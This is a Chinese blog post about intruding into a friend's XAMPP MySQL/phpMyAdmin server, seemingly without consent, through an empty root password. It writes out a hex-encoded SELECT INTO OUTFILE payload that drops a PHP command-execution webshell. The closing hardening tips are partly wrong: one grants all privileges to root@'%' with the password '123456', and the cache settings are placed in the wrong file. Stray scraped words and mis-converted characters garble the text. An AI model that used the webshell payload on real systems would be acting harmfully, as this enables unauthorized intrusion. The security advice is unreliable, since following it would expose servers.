Mysql提权留后门

记录一次关于无聊时对基友MYSQL服务器的提权攻击。

尽管没有彻底攻击到对方,而且没有清理痕迹,可是,这里写写简单的防护方式。


0x01.从无聊的nmap扫描开始

今晚无聊时候,本想打开电脑扫下谁连进我wifi,无心间,眼睛一亮看到了一个惊喜。php


nmap扫描结果


看到80端口,就有种冲动想要进去,进去后发现forbidden,而后试了试 phpmyadmin,发现直接进去,由于基友用的XAMPP集成环境,一下就猜到空密码。html


进入到phpmyadmin


登进去后,就想办法留个后门,搞个木马。注意一下,mysql是以管理员权限运行的,so...mysql

查了下资料,这个很简单,网上不少。web

找个一个表进去,用下面那句话,就搞定了。sql

SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E FROM user into outfile '/Applications/XAMPP/xamppfiles/phpmyadmin/fuck.php'数据库

那一串字符就是 <?php system($_REQUEST[cmd]);?> 的十六进制编码了,只要路径对,就ok了。apache

进去之后,只要访问 /phpmyadmin/fuck.php?cmd= 就能直接打terminal命令了。vim


直接打terminal命令的结果


能够看到我输入ls /输出了跟目录下面的文件和文件夹。缓存

这个时候,若是是win党,来个中国菜刀!!!啊啊啊,条子!!带走!!!安全




0x02.关于Xampp安全(MAC环境)

下面说下我的经历,关于MAC下,xampp环境的安全处理。

A.关闭phpmyadmin远程登陆

vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf

在最底下添加访问权限,以及关闭修改权限。

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
    Require local
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>


B.关闭Http远程访问权限

vim /Applications/XAMPP/xamppfiles/apache2/conf/httpd.conf

<Directory "/Applications/XAMPP/xamppfiles/apache2/htdocs">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Deny from all #拒绝远程访问
</Directory>


C.关于Mysql文件写入权限

这里不是全部都能写入的,只要关闭了用户写入权限,就不能写入木马了。这个时候,就须要对xampp配置作处理下。

这是我本地测试:


mysql写入权限


关闭mysql写入文件权限(我本地的):

vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf

# since XAMPP 1.4.3
<Directory "/Applications/XAMPP/xamppfiles/phpmyadmin">
    AllowOverride AuthConfig Limit
    Require all granted
</Directory>

无论怎么样,反正记得,建立的文件夹,非不得已,不要 chmod 777,特别是upload等目录,注意防范。


D.修改Mysql密码

一、进入到phpmyadmin后,直接执行SQL语句:

update user set password=password('123456') where User='root'

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

二、直接修改

vim /Applications/XAMPP/xamppfiles/etc/my.conf

找到19行:

password = your_password




0x03.关于xmapp的一些环境

一、端口占用问题(最多见的)

Http 80端口configure在:

/Applications/XAMPP/xamppfiles/etc/httpd.conf

52行:

Mysql 3306端口configure在:

/Applications/XAMPP/xamppfiles/etc/my.conf

20行

二、添加vhost

/Applications/XAMPP/xamppfiles/etc/extra/http-vhost.conf

三、配置Mysql缓存大小

大多数的MySQL服务器都开启了查询缓存。这是提升性最有效的方法之一,并且这是被MySQL的数据库引擎处理的。当有不少相同的查询被执行了屡次的时候,这些查询结果会被放到一个缓存中,这样,后续的相同的查询就不用操做表而直接访问缓存结果了。

/Applications/XAMPP/xamppfiles/etc/httpd.conf

最后面:

[isamchk]
key_buffer = 20M
sort_buffer_size = 20M
read_buffer = 2M
write_buffer = 2M




本文出自 夏日小草,转载请注明出处:http://homeway.me/2014/12/27/hack-mysql/


-by小草

2014-12-27 02:46:38

相关文章
相关标签/搜索